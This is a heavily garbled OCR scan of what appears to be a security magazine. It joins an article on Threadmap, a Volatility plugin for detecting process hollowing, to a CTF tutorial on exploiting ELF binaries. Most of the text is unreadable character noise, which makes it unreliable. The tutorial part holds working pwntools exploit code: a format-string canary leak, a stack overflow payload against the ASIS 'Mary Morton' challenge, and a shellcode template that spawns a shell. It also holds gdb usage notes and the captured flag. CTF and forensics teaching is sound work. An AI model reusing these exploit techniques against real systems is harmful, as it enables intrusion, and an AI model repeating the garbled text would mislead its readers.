Fo, % 3dvehdstexes -« x 7 . svehosf.exed | ¥ 1 v -DLE - _ _paytodd. _

~ o~
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xSy LDRLBE X 44 ) 5 x " 0 b 40Xl AX KDl YT 00 ] sX s T

[drmodules « . _ x _ 1 _ s _ 4 <dUsekmade 1. _ 7

~ ~ ~

w1 s
«4s " _ v, Process Hollowing ! P Tstwx4 " 1 1s b v DT w0 p 4l X ) A
e Sl L XU ] L o wd s s Xy s 4xs {Cs  Dx {4 _
«4s s4 s Usermode, § x ~ ¥4+ 99 . " VA0 v AL
LY T ws b4 4x X1 i s sUdekmbde® |« 4" k< T s 447X L. lx "
X oo x sx o xx o oss CKernetmode® | F 4T XX 0 b d J ¥y ke XS X
FX .S 0 T X0 X L xs % T T % Prpdess Hollowingt L X v x 4 -
NV B B LR B P2 B R S S IO SO IR SRR A N

Windows Internals'8Edition. ) ETHREADs " * _ X
H .« 7 x  ntdh.dii'RtIUserThreadStart s 1 « « pointer). (4 * .-_StartAldiess

s s N 1" XN s | .
s { . <*x_sThreadd {1 ", _ *x . ‘Pointe) 1 . «{"*x- Win3ZStartAddress
Cx oy lss T xx 1] s CrehteThreadAPts 144 %7 % o 0 x4 1 X

Lt main 11+« ™ ¥ain Threaes . _ETHREAD Win32StartAddress :,x _ | x «<'s

ekt section™ SN "s X x (s

1% < _ProeesssHollowingr .~ F X4 %) 7 _ Win32StartAddresscis . 1 x " 4 s

VADs : « +« x Win32StartAddréss. . 1. s L« x4 ¥ X, x
e T O (e N U N S P S ..
+ . X '| ” S
A x 1 440 o x 7 x4y o tx 1 7s s Kernek P4 VX T x o x Res s
140 s by Ts o 7

Image File Y x  _ File OHjettitxd 1 s+ * 4 thiead® VAD ¢ JT4 * « _
. “imagefilg( ., *x«~ ¢ T x . IM-thread, XX H ~0 X s F AT 44 s
SEhx o1 144 4. exe % s FHilk@bjeess_ VAL "% 4 Thread

VADL - X WIn32StartAddress R B L IR T XJIMB/GALLS ¢ X ~AHS S X e 0 T

~ ~

Dox lox 1 1 X X 11 A s " X
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X « X s Dox lox ”
J_oossootxo 4l o by bx 1 % 144 < theeads | X N X s . xy i

* _ File Object » VADL | 1Win32StartAddress _Thread : s _ v x I () x4 4o X
. (r AIMPICALLF X 0 x v v 7 v T 11

~ ~ ” l_‘.
s , 4% s | X s s kx 11 58X ¢ ] *x s " B | s X
s & X . 4L Lox "l S | X ] 4L s s 11 ] R s ] x €

e
Get all active
processes using
PSList
RS-
e
-—(joreach process
~

J—
[ Getthreads
using
ThreadListHead
attribute from
" _EPROCESS

Match thread’s -\l
Win32StartAddress /
Related toa P ﬁ_Lh"‘“
.
VAD Qot related to aVAD\
—— 7__,-’/

- -
wE (oo
Object
S modula
status
Points to Doesn't point to
process’s image process’s image
file file P
¢~ Check thread's { -\
i — I (
S 0 ~

Terminated '|

;
= - - | B ~

//ho;emo:\\\.
- - - s }

\rnmapped/

Check for JIMP/
CALL
procedures in
the 3-4 first
orders

IMP/CALL
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r”

w

S Technologic r

Threadmap + . 1 x 47

w

~Kerhetmode x % 1Tx 47>  plugins

vy - |.|.~“ §$'1‘>’<ng I-'||>XJ“V ’” “
Fd 47 xS v 4 xUSetmode, x " x 1 7 L

1 .ox s ] Y WNADuLThreadk d | 10 %X §x 4 _ rex:s x x x
T4 %+ 01X T ms o xso {ixs s{ Thréads:dIdH ~ 4 s s X

~

VAD$ s " « 4« x4 Hs o Phreads x* T x . ] 49 XETHREAD . , 1 * .

Lo Xy 4P x DO xes ] ] ]S

x {7 x 1 ¢ WAD*! 448 P deAEEs 47
File Object " VADL .1
© L x Sl v 4s s 4 VWADS v 11 x 4 _® sl @AKLXIMPI2 Y T ¢ X

= x ., ] q4 ¢ X
x Imaget 141 _s 1< 1VADE ~.3 T _ x .
.lx < L File‘Objecs ~ .4 1 -

Thread Map Information:
Process: svchost.exe PID: 2460 PPID: 2596 —® Suspicious process name, PID and PPII

No thread is pointing to process's image file Reasons why the process is
Found suspicious threads in process e .
marked as suspicious

Thread ID: 1228 (ACTIVE) —» ¢ KNBIFI RQ& L5 |

Reason: . .
Thread points to a vad without a file object ——p  Reason why this thread is

) : marked as suspicious

vad Info:

Thread Entry Point: 0x432104

Vacj Basie /ﬁdress: OX432220

vad End Address: 0x445 ~ 9 . A - .. s

vad size: Ox15fff ———— p ¢ KNBI RQa Sy infbdatidd?

vad Tag: vads

vad Protection: PAGE_READWRITE

vad Mapped File: "'

0x00432104 c2 04 00 68 eb 20 43 00 e8 12 02 00 00 a3 20 20
0x00432114 44 00 59 83 f8 ff 75 03 32 cO c3 68 e4 2a 44 00
0x00432124 50 e8 6d 02 00 00 59 59 85 cO 75 07 e8 05 00 00

0x00432134 00 eb e5 b0 01 c3 al 20 20 44 00 83 f8 ff 74 Oe

0x43210400 c20400 RET Ox4

0x43210700 68eb204300 PUSH DWORD 0x4320eb

0x43210c00 812020000 CALL 0x432323

0x43211100 a3202044005983f8ff Mov [Oxfff8835900442020], EAX

0x43211a00 7503 INZ 0x43211f

0x43211c00 32c0 XOR AL, AL

0x43211e00 c3 RET .
0x43211f00 68e42a4400 PUSH DWORD Ox442ae4 Disassembly
0x43212400 50 PUSH RAX e 2F GKNBI
0x43212500 e86d020000 CALL 0x432397

0x43212a00 59 POP RCX entry point
0x43212b00 59 POP RCX

0x43212c00 85c0 TEST EAX, EAX

0x43212e00 7507 INZ 0x432137

0x43213000 e805000000 CALL 0x43213a

0x43213500 ebe5 IMP 0x43211c

0x43213700 b001 MOV AL, Ox1

0x43213900 c3 RET

0x43213a00 al2020440083f8ff74 MOV EAX, [0x74fff88300442020]

0x43214300 Oe DB Oxe

2 4 6 PID . KSLSample.vmem Volatility-* Threadmap . 2-1 s " x
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S x UL ] R B B I [ I O e
vl bx 1T x4 Ahreads t oL, 4 4 LT o x g s
© U™ Y _ A~ (Threati® . _ X~ 1) dniage® : _ d XL Trhread X 4, § "4~
Ss s s
I40s s 4x:Thead §7 | x 1

s " % xv,,>sl>s+|,,xy1“L Fov X

-Threads « .~ , s 44" s s o, -Ahredds™ .11 5 .

.Reasoh .~ x s 11 AL * gq{ x4 A
S0l . Xl Tx{.xsvchost®xe d X _ S p AL S S 20 s oL T
"MABL . o+ x _ _  I'x Thréad . (Mhitead &« 5 _ 4 s ¢ s. < Ahread 1, | ! x _
S\VIAD PAGE_READWRITE S X VADS | x 5 © x lmageRilex " 4 « x File Objest. s x |
LVADS L S X. _.ss . x"{"{ | {_spafoads ¢ 147441 _ A
(s o s x0T ATY)Y kAT e 4T
4 X 4CSRESAM 1S I T s _ ¥ x o oxx o ixo,isxX o ig4s -
Idost x74s s O p s DT ] T oxsx e ©osT Do ) Xx 747 e TTE T
xooooox o T 047 image filer X sx € 4s< L T4y Ahfeaps X « » 1 X 41 X 7
(44 s s o o] chollewing P4 0 4
X 7 X X x| s 14
X x 9 v - X . oL Y o] X ”XIPNL ~= Xt 4 L, 18, X ,,s>l><>< X ] xs TLLL YXL x "

. 144 . UWsermodé *Kerned - 4 144 s T XL ] XP . xS xF X x s K xT
x " s x X "o Zx-{v

ss o+ x 1. _Kemebd 41 45« , s .. x < o X . .

Is s X7 1 <% . X

s 1oos Iplugikl oo 0~ 0 o~ 47 x sy dAThveadl L~ 218 A . .
r 140 ” Flags | x
s 7 x o qAplygine 4 X4 * s T4 v 4oy !

(1% x4 Lqwxs:) o s XX X - pERD) AT 4. . 4

FY X p 4l x4 |4 dThreadsy el XA LTS s v (verbdse) ) 1, !

1, HThreadx CX . S AL, x o v AT o x o AThredd) 4 L s - o

(2_1 S"XFgeé.S))h:":XJS M
Thread ¢ | s ci1lixs<” 1 VARBLAEMp v, *D ¢-dumpdir) - «~ x s ]

X VARst 17 .1 TOXIMPIGAEL_ HX % kL A XX s J4Ls s L]
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Xl A
, X4 o x "1 oy x s s " . 1 1Proces$ Hollowing ¢ -~ ¢ 1
Y i sy R B wonox 40X 1 X x 1s FdL 1S RS x 71w s o]
X Lol v Aol w1 is e L 4 L TS Lx v L T x o
s 11 s A x4 44 L s ox s T o s s L € s
Dxo S x g b x ts o x b xKérme x4 4, o] ] M E .
Pl ox " e d x4 4T sy s 14 s T
P4 x sy

ksl groupr _ st 1 - p A b Y A st ATexx] 1,0 A d e d s X4 S 3R .

XL 1T XS Y LT XK Py X T F e x T X |

v ~ ~ ~

Github: https://github.com/kslgroup

LA 4 A s 73X 9 I, 7
Ksl.taskforce@gmail.com

https://github.com/kslgroup/threadmap

~ X « _ (MemoryDumps ‘-
https://drive.google.com/file/d/0B7v10wo0v5SYZ016VmVoVFV1elE/view?usp=sharing

https://www.mediafire.com/file/jimtbbinanuh6jr/KSLSample.rar

Hale Ligh Michael, Case Andres, Levy Jamie, Walter Aaron, The Art of Memory Forensics, Wiley, 2014

Szor Peter, The Art of Computer Virus Research and Defense, Addisog Pfef#ssional, 2005

Russinovich Mark, Solomon A. David, lonescu Alex, Windows Intetﬂﬁlﬁtﬁ)n, Microsoft Press, 2012

plugins ‘hollowfind « . ~ « 1 _ s e

https://cysinfo.com/detectingdeceptivehollowingtechniques/

plugins malfofind v . ~ « 1 _s e

https://github.com/volatilityfoundation/community/tree/master/DinaPshoul/

x RoGL_ ", 4, %1 x7 DS ox 1

v v ~ o~ ~ ~

https://github.com/m0On0Oph1/Processiollowing
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https://github.com/kslgroup
mailto:Ksl.taskforce@gmail.com
https://github.com/kslgroup/threadmap
https://drive.google.com/file/d/0B7v1Owo0v5SYZ016VmVoVFV1elE/view?usp=sharing
https://www.mediafire.com/file/jlmtbbinanuh6jr/KSLSample.rar
https://cysinfo.com/detecting-deceptive-hollowing-techniques/
https://github.com/volatilityfoundation/community/tree/master/DimaPshoul/
https://github.com/m0n0ph1/Process-Hollowing
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Pwning ELFs for Fun and Profit
s 41 L xd

S Jd s
Fd IS . s X oo ST e T ] X CGaptire the FlggCTRx s (
?241xq14 10 4L S .« X cx o, 1S N N cx 1€

CTFv . v 4 x_ 7" w4y x {7
Pwnable- - x {1 . x ¥ 1 Jeopardyl + r * 1 { ~ , » I x s {7 <Jeopardysl T x X

grgckme 4 ~ ¥ ¢+ L1 ] Reversing , {XxL) 4 L, T B s 4.
Yt o Fdid L) r 1 ~ YOSINT Netwarking Stepanegraphy . | * LIRS
I x  { " X s | x € X X (s LY P . S Lol oX I G
T e T N T T T S O S R L
T4 w4y sX,s 4 ]s x4 XX
T I B s Tx 1 DX s X - x " x | Attackbefense .2 " x | _ L
2 s " ox ] L1 X% TS L e X e X XX Y X X T ] s
cx L, 1is T s e 4 4 s ys D, 40 {x s x| s
RN B DX e X Fds 1 Fdosoxox oo Fdoe oyl LR s L
TN 11 x R N 3 I A T I A R T BRSO , S, w8 X
(" x1x Aoy X Yoo o~ o, s7x ] os ox ) X T X
e lx os Txd s 4 0 X
Jeopardy 1 | ~GTR* “CYRIT*x" 4 > o _ " 1, x1_ ¢ 1
THAdT A e TXQBTRY T s, ] X 8T X esCTRE . X4 S .S
A7 o x Ay o x o Jeopaly 1, 4+ M | CTFSC 1leheckpointd: T, X1 )
FSCTRR 1 x4 s DT X e o x T IETRSI AL X (S A% XL sXL T

.OefconCTEx _ 1) s+ AL x by 4., 1°

XX L ICTREH RN x X 4 i A 4 XGTR se S x L x

~ v o~

(U x s . D XCTR . X _APEIETE: x5y 4. 1x s 1 1)

Tlso A0 * . s14Xes  px 1 o {4 <iss (X CTEss~ . T X«
x X014 CIRE» Iexd_ w8y @ ovs X x4 Ty 4 X7 x o s X
cx X, b e T i AT X write-lps) L vk TSX i A s den b e b AL L
oL b xxs” o x q X o« s I ] s . x "X « X « X ” . S X

~ A ~ a ~ ~ v A v a ~ ~
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i
is ot ox s v oo sae x4 s e A o x
1105 0 1 wwwotftimeord <o X L 45 . " 17 € CTEX XX ., 4 sk X (T
Ce 4 41 JETR, 14 <L Y. w 45 s 2017 . SASISCTF Finals CTF
*x4oox " T4t 0, t e vy b oty A e o v A
147 0 s dde@ 3]y 4010 s o xades o4y L s
L v 1~ Y " ergpto +s_*x."sXwebl 4 « x " *revdrsing - , * " X Pwnablé * _ x " X
T R
154 41% 1 i spPunables! A2y 5. Jis ¥AAGTE 4 LAl s, . )
J Tl x 7 x4 8O oxs X L EsH bl LXY Dse T {0y T X,
L P fXmelfd xaXs 4 Lx X Ly s T S
{ s “ L X s =] . ¥ 1 < s = x ., . L 4 € ., D SR q

Y s p Ao ix e e LRI LA A Y Ys xR x

P.os Ly st exploite L 4K S¥L X7l v AL T e Lo x

1749« . v L . 2] [ . S i . .~ L ]~ , 1.2 7 'iXXAS xn.|><sx « S
N B T ool 15 P G R C N R T S
11 o O B R R s X o s X , . _ L XS « XL s Lo Lt
X x (X% « X oL = ‘| ” S X « X X ” _ BB@S” Y L: ~ ss L xJ L Sy ‘|s'i o e vn L
. o A o S . |-‘| ‘In ”“Y I LAY S|_ A » X R L X . ” L I X < . R
, Y .+ S _I L S x ” F s X F -| L _] ¢ Y .« Dox "X
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FdLSlw.

CSAY T X e X T PE #4830 4 0 X% EIPHL Y, xS x
1., «x 1 . Delsian x™ 3016.2 - 1  KaliLipux . . sVM s _ 1.8 4 .1>*
crdd o x oA v Al X e s Px X s x s
~Xx b v {cbmmandkine ¥ x *x{*I | - GNU-Debuggergdb ~ x s x " 4 x 4
s JAL-s 8 X, 8 x4 " x4 xwindbgry, s _ X kX s kx . ox L@ xy
, X~ 149> didassentbling , * x4+ ., " x . 149 I 14. _ xdebégget , :
Tod 7 Dxx g i x4 0 (breakpointd s hd .o, < f 1 xLX X X
L, 44 1s oxs 0l s AT o0 b d A Tgde o x T vf s e 1 ]
crd ey ies L4 o gdp* S X 4s 4T 8 xX 0 xFox
_ 1 vdgdhL . - Rython Exploit Development AssistancBEDA + glb. . x>+ 7
XVJ ’}_-{1-{XL>V“‘_ '|X:-{>|_ :X-{~XV-|~ :XIX“> <-{va
L vRmapx o r Y XL o x e L, o X x fadritxchecksec (7 . s 11
FoS oL X o« ss T lx A4 orsis 414 L LNV B S I

T Cx 1 x " X e S XL Foloox oL X " 4 4s o1
LX o xS s, T L e P xexplditse B4 s 0w x X 0 s s 4 ] X
reverseengineering. 4 fradareR v .« X-rarun2c lx X D€ XL e
exploit * x I ] L lx7 L lx pdx o d.x X T4 L] . X
s 14 X X T X« X |IP—$"><3~"|_:XX’W{~:=1J_, PIov1lxx 43 x «x
R R T S e I I 2 T R NI S B T S I

17 1/ temmjnaks + 4 -0 v 4. w1 x0T
X o xTs Degxploits d A xsH L dNHLs L LS T Ix o xGs
S X, x4 " xdetfse Lx X 1l J%¥4_ %X s XUpwntoolsf” x T 414" 14T
LX wteos 4T éxplaitgs . Texqisy ) TILS X X R X x U0 Xy
unpackings packing . « * "BLE A~ X<, 0, . s 41 e S Xx o o4 X g X 1A
. EY oL x X 1oX . Sy o4 Sex L, 1 L . EY .

~ 1 v o~ ~ ~

. AXTAXAX0AEn Mm% _ |, ! ¢ x . packing V - 8 x00XxAHX00F n-F Gx4f0049
x 0% 04 Texploitss* xii 11 7.1 x -ghelleode” | % (uhpacking T - ©x4104187f
xCs o4 s T4 pwntoolssr X417 4

- coseo 4.1 47w ok 44 . o T Hdisassembler T x 1 % T T, T e ¢ XY
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1T« v1vydb o |

command 1. 1> . X x| ufixx ¥ 4 1, %« S x> {gdbx, XX s« . ¥+ XA

gui ~ _ . . v 1~ A4 4T 41 x 04 v 444 diner” xS

v v o~

Fdo o fgdb” Lo es L T, U gdbgui~ _x s kw8 4-Tgdh* . x % 7S
gdb> x4 7 x4 T x Dox {4 X Dx X oo LL . - X~
Coe Y {1 st L1 X Fd 7 gdb feed 1 teAMREKFS . x X ] ApcdSceiyl dhex . X7 0

s {x (. s X LT x0T
S L4105 . vl w.gdb, X310 L4 A < sgdb <élfXfile pathd
(4.8 db*o x ol xs)d.

%]

s X x4 verhosity 1X T Xk, ., xgddl : s 1gdh-gq} ;9

R O e T T T B

pids <« x spid=s kelf file_path. -~ x4 s ¢ L gdb <elf fle_path> <pid> |
Coe .pwntobls | x4 ) x ¢ s S 4. x X . XX o, s
(44 s
Foxrun s hox oo X n v Xgdps T Tl XX L oDLrs
input  _ <« * 4 44 s s r<inputtxt v )2 _ikpUtyelirection | < X0 7 47
., xippat _x o+ gdb |

x/nfu addr «~ xs s x o s Lo x sibxx s L, Q0 X J4Lrs 3 Tx.,]4F¢

T 1 L S e Y 4 s f sTox TXox XSN‘,,‘I"V:,uXA,:|E+VJS x b 47

DX y x | ., L S L Lo X

~ v~

arsp. o hdllterfminator ') T~ sl .4, A
hex-x) 40 41 giant-g) o+ 8 % (Fox X x ] x/10%g 0x400509 7! A

ip-. L Instruction-i) 1. % _ 05 _Ax/biStip | T
break *break *Ox401ff : s _ v x I | break s 1] 5 « {4 x 3§, >* s, 44 1 xI x

del-* glear<address= _ _ - _s. " A4 0 Ax DX x*mAik s . 4. 1]
clear Ox401# , X7~ | preakpoints” s+ dell2 1 s _ xbrdakpoint_index>
.0x401ff = * x | * bredkpoint¥ s : « <1 A

.bt xbacktracex _ _ ¢ _ 7 callstack x "« - x+« . B 7
n »_$4dn> s« Xs fsxfrapne s ¢« * stackframéds "4 * 4160 7 L,
0s + xframe&s , 40 o bt s ox« *s o 1 framew . xs < xd 7 44 5]« xs

. S~ L sframhelOX¥ y ~frames - 1xssframes , S 4. iffamess s .« x4 ] ] X

shared-s * x I x« 1 4 T xj] Xigfy (sllxx"< s, lidxs 0T 4o b4 T

~ © % breakpaintss _ ¢ x| x infoisharedlirary. - ~,¢ > libraries | 1 s
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x Ix o ihfdframa ¥ ~ £ X X, v 47 1 framesx " o x Tox{0 ] nfO Break ¢ X w1
Lo UL T T N T R , F 1. Y x s X infd registers xiv. € 1XYW
I T R T R R R S R S S I P S T RPN I SN
drrspraxr9 s I x « s rOxgsp,rad » 4~ Y X o5 L v 4] ¥y x 1 g X
disas xdisas <address>s | x « s RS o1~ " disassemBly L X s 4 W8T X L
cLx o xCs s x0T s X © {*functidnthame> ~ | x -
.pdisas -+ 1 PEDA ; disassemble | x <« X
s 4147 s  pwhteots
T Lcotfs . x X 1 x4 0 exploitsx ™ * 4 -, I 1« x4 ¥ pwntogls 5 4 ¥ _ «

‘pwntools* 14 | 1 % x A

pwn

EXPLOIT_REMOTE =

context.update( ='amd64' )

EXPLOIT_REMOTE:

"./my_elf" )

r = process(

r=remote(  "my.epic.host"

e =ELF( "./my_elf" )

printf_got = e.goft[ ‘printf'

r.sendline  ("Hello world!"

r.recvuntil( "name:" )

address = p64(
r.sendline(address)
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remote_address = u64(r.recvuntil(

shellcode = shellcraft.sh()

shellcode = asm(shellcode)

r.sendline(p64(remote_address) + shellcode)

r.interactive()
[Format String Exploitation]

C X Ts x " 4. _+*r Format*String1Exploitatiehh , $ ¥ ~ ¥ * ~ § 41

e b4 a1 XL FdesXxsr L rd x4 T T A XS

~ ~ ~ ’

Format String Exploitation~ _ x 7 % 772sT ¥~ xs{4 | 4 ¥ X+ p S, % ¢ d K A X 7S

~

Cv X p x0T X Is o Ix o uxs Ty x
_x fofmatstrings « . s ! x> s 7 X+ farmatskifgs $ 1d . 14X < X
Tlx x4 0 T x4 X D ox forat strings® T X XX D
1 Informéion Disclosurg . ! 1 . REE & Fx. (I x« N x ] X e 1
QEP, ASLR, Stack canarigs_ 1 ) 1«74 %s SXLo o ox o ix "y ss ]
formatstrings L *x « {7 . ¢ X
-+ v A1 x4 <1 ¢ * 1. x Fermat string. fdrmat strings s ¢, « x5 T X
rd1~1_~ s o1 o formatstring -+ 1-*¢ pAhtf ~xScanf x _fgrmat function
s 4 .« 7 Xformsat sttings (s _ ) ! X ¢ X 7 x _Jormat fuhctionx Y 4 $ 1 7 % X XS
v " formatstrings 4 ., L, S ¢ -ig L sxX A4 o xs {417 XY .o X X
-4 L X xs v 4 x4 o format stingl- specifierys A 447 4 2 o .
S U% L« o X Gox 4% Ll sTLD 4474 9 x © Xy % 1 fomptTumction | L |
s oYy A Ay .0 T s s o fommdtstring® xeL % AX sxo o x Xp 4 7Ll G
X Cx L, T Lt ex L, 1 b x4 x4 e 144 T%d s 1
X&) & 1 *XMEN pEXG)E * « 1 white_space, 1 x x ! -~ ©forfhat strings® | x _

CKEMMBWE s 11 BEMpE X~ (
(11~ 4% l.xaope KX,
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11 41 <«s 1 unsignedint T {98x X _
L 4 < | « S q ,,x>X0A)pvﬂlx-| , 1

~ v ~

R B I . 14 dehgthcmodifieryd 1 1 + X~ « 4 7 «

v o~ a ~ v o~

S, (Y i , k17

DS ¥, Xkl 44 x A1 L I

~ a ~

FAZ X . %X S Y XD L2 dh ke Xe L ordl ok d L T s .4y
4 r XX

DX ghhx FS LM L4l T bytetd* dAx X Thh §ds Lo o0 Y
A x0T

8 . 1%lx4, s _ v x L 8, HXx . ldHKgwoerdlx o IV 4, L gidls g .41y

S S

~

G1 St e2dNaaSYRSNI Aa 27F (& LJS: <fsomatisyirigs t A90. A As f 20 i

TS . X s s , X (X s.|‘“"x>|_ X o, X x.s

S L { % . X T X « . S
X oL o9 % v XS 19 s i7" Xy

e e s ex ]l x4 4| s

st o4l s, e s I ex., 1 | S L T I T

~ o~ ~ v oo~ ~ ~ v o~

, dptintfx (s oy x Loy Coseanfs ¥ oS W{xIL X)) 1S X oS (4] . x .y

S LS X, T X Ie s CLINR VG T GSHAESS A,08 v x|

A X 7 CLINAYOF OB £ f E4 S £ E4 R EXEE0 x 7 L . s 4. s N
cds x4 vl oxs X sy o0 x s {7 Xy, s

X 4 ) x T v A dos Cformat string* s W "Xx xs 0 L4 s

SR N e R BN B 1 T RN N RO SRR IR BRI RN S B B
si4 0. . xo (A, s o4 0 B x)y e HSY X s T T
format-s -~ X< L . s eI LT s8] | L xformatsring® « 4 - B
format-s x * x <« * T {4 s Lo X4 s os " s A string* x ¢ ]s o«

Jprintf- ~ ~ X sting _

THA s T o xY o s S o 4 ix L, T o x e oy ys ] x
C1 A sop15$s 4 sy ¥ x I mexT 4 4o "SH waSX Set®ns, X s 1 .ox X 144
’s.|\“"x L ,,><Ax s 4 s XL x X A s 4 s 18-S * X X WX v X X .

S (T R N T R T 2
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Do U144 C XS X Lo x TR A S s e XS X X g o X X T ] { s
4 1. s TLINRWOIFOAMHOEMEXYEX gMa s | s 47 x s {l
WORD,BYTE * _ » %n 4 ] x 4%« 47 <! °DWORBfi-L s ¢ ¢ M 4@ 3%7dx 1 |

s X4 e x 1A FoY R IR N TR I N UDWORD x ~1 | x "X
format string® ¢+ 410 x _ x" 17« s 17 sX
T B A Z,,-|Z> ] . X L X "lX . oo s ¢ s
64 vs 32 bit
X v B2 494,74 Xl s uxfsai4 ]l es D0 T o X Ty
A e o s g x4 YT B4, T s
SRS R s b 44T xXx s DX,

eax, eip, ebx,- extended + 4 * 1. x s b 4. ¥ x o 82 0 M 1 rihed _Jf AT s A1 X

~ X x fax, rip, rbx, rsp (- Yregister + _ ro 4y ¥ X~ 1 -84 4 ¥ desps x HH X
C182% b 4 A B4 ]I X XX A XX

S 2 2 T T o T N A A TN o7/ S | NN ST

LS ATOGRIX, r8&T 4 XY L XX x{ 47X _<.s {17 XY,

. N e s 4" yx LU X L T Dxox, N A
Fd 17 XY i, Bsi, rdXy rex¥r8 & r9r 4 o~ ¥ X oS 1>y Lo, Pl X FlTox
{ "formafstring + X _ ~ 1 S .. 7 ] L 1x4 _x s ¢ Do Lx ]¢ b xo o
I e I  E N S S SN S

Mary Morton
17 0 .~ ¥ o Mary Morton I 4% %" X .S . N X "o
s X1 L XaL tx o "ix TH{Ol T x.tevefsing "4 *6F k4L F N, <
1-bs 0 s oA x|« flow-s A7 x XEA4L A XX ST XXs X
format string™ 1 ’buffer overflow =~ 4 * T x 1 x . ox 7 . o« 14, T s ] O

LS. .ss 114 R0 - IBIGALARMG H™ X« . x 7 17 . sLY”bug s _* .14

~

T B B T T I AR S (PN Bl

11 o+ s bufféreverflotes. " L , s 4 x v 1 x. Ix .« 10

o | &tack cartariesstack canaries + | 1.« 7 1> > - statkxsashing 5 ~ % <

buffer{ » = _ s " v s v s, MU LY e, R ST s X

~ v o~ v ~

ss¢ 47 7 s L X 1. s v+« <xI X Loverflows , ~»x ¢ 1:
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# ./mary_morton
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon

1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

1

Technologic

<147 L <buffer ovefflwl @ sTX_ 4o & {57F 4 T x*

s ”y s s L . XY LS L L] ox "

C 0 x "staskcananll i | € "flowsd I, 11

AAAAAllllAAAAAAAAAAAAAAAAAAIAAAAAAAIllAAAAlAAAAAlllAlAAAAI

-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG

foAu VeuE

*** stack smashing detected ***: ./mary morton terminated

1
>

Lx 1

L format string™

s .+ 1 1format string™~ v 1:4"L 0 e X 47

format strings ., s 14 L _

# ./mary morton

Welcome to the battle !
[Great Fairy] level pwned
Select your weapon

1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

2

hello

hello

1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

2

%P %P %P %p %p
Ox7ffc68b58700 Ox7f 0x7f9c78295060 (nil) (nil)
1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

Alarm clock

R < 1 . X

S L A BN Flad 9T

L

X 0 [ I I N x "]

format string* s 14 . _

1710 s 4L

XL

I x < ASLRIDEPH?2 A% A XX L4214

“

e X RS2 E I RS PR

Y 1 buffer overflow™ o |

S ﬂ i %

1. x VASLRX,L™ s L x LROP4*x: It~ 1. 1. payload s

x "o s A4 % s 4 > ssx xTsipfdriation dis€losure® -

~va
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~ oL Lo . Lo s ., ¢ 1s X X
1.+« " ASLR ° - o x X offedt- L
R . L v X8 {1 -1 T Ll x T B e 7 L Yq s . s
?2x 74 v X sghellxy«4 s 1 dx. 107 X , S
stack bufferoverflow™ buffer-s + _ {1 -~ format stéing bug* canarys . _ + X« 9 _ s s _
?bug
x .  PEDA -, " x D gdb +: 1 - 1 -« 77X ss Y X o S L~ S L, x "
x o ox "y s s [ gslrxeheckstct "L
# gdb -q ./mary _morton
warning: build/bdist.linux-x86 64/wheel/peda/peda.py: No such file or directory
Reading symbols from ./mary morton...(no debugging symbols found)...done.
checksec
CANARY :
FORTIFY
NX
PIE
RELRO
ASLR is
.17 ASLRT 44 A «DER NX ~ 1 X » 877 4x* X, s S Lo~ L s X x 1s
(" 4Sy % ¢4 _ ~»* *RetwnOriented-ProgrdmmipdgROP + NXs ' « X < |
IDAX {1 ., « " {4 %Xs e 1 - " , - X Vx"s X L
s xrefss . S I I R TR S I BSOS T B
. X S S L =] x s ¢ x ., 1 S ” , x ¢ x , s L I e
systemc v X - X S X X
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1. " 1s Ox88, x X s x s ., Jx | . XS 1., x« S v, "X s { . "X

stack_buffo bug s« 1 . <« s s fraes:)s xframes rbps  x 10x08+4 ~, X « ¥

XL DX T Jet T e L framBs ]S aipest 08 41 T v X
s, ¢ s
x "exploiti I FXO T X s X T

pwn

context.update( ='amd64' )

canary = TODO: Leak canary value using format string bug

r = process( “./mary_morton"
r.recvuntil( "Exit the battle

return_address = p64(

payload = "A" * + canary + ! " + return_address

r .sendline(  "1")
r .sendline(payload)

r .interactive()

format string bug - - Co~ X sstacks< " X« s Cadafy® . - 10 s e <o
L «~ 1. _ % + « _ Stack Huffo’ bl L stack,, *x ¢ sl “stagks T I x x4 " x 14,

18s 1" _x¥ . «s . fermatstringl X v He X .7 KU« _ QWORDIP  : L 11
L, . (e~ ~srspe s A4 e dAsprintfd S~ 4 s 0 X T xx 4 ] ) 1A
, x4 4. 18 ~ P3x s T Ha b LdgBrmat string* ¢ _ %L, b d & DXy
17,0008 AXy 0 T e e X e Y X B Xy
A4 Ao AT L Txdis AF Y {fOrmat strings X o« xS T x v s 7 x
N T W R N SR IS T | BUA (RC RIS I I VR TSRS B S B IS B ol
235 -18+5s 17 XY . +s <« (IS QWORBL ., 47

. Stack Bufferoverflow Bug
. Format String Bug
. Exit the battle

523%p

0x8850ad905f97500

1. Stack Bufferoverflow Bug
2. Format String Bug

3. Exit the battle

Alarm clock
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-s NN FX . Fdd "X R O XL ipwntobls™ |~ % Y x 4

. x "exploit

context.update( ='amd64' )

r =process( "./mary_morton" )
r .recvuntil( "Exit the battle" )

r .sendline(  "2")

r .sendline(  "%23%p")

canary = p64( ('r .recvuntil( "Exit the battle" ).split( "“\'nl." )[ O].split(
)

return_address = p64( )
payload = "A" * + canary + " " + return_address

r .sendline(  "1")
r .sendline(payload)

r .interactive()

LYy s oo x XD exploits T . ¥ XD s L%

# python ./exploit.py
[+] Starting local process './mary morton': pid 3289
[*] Switching to interactive mode

-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ASIS{An impROv3d v3r Of f4lrY iN fairy lAnds!}
[*] Got EOF while reading in interactive
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Greg Lestrade

FXO T o~ AT e s s o X DX e XS T e Y+ o 4

8)# ./greg lestrade
[*] Welcome admin login system!

Login with your credential...
Credential : ya
[!'] Sorry, wrong credential

IDA 4.« 4%Xs o Tx i _x" T 4o xiox . 4, s
L. 4 oosdik, Trde o X o o X . pseutiocdde 1% mAinSL T HX W T x o T
T T T T N R TN BN 0 )'¢o |6 [ A L B
P s { . <" xwreng eredential_:, ! x.s X v i4. Y 1.8y Pos P

.check_password

user_input

check password user_input

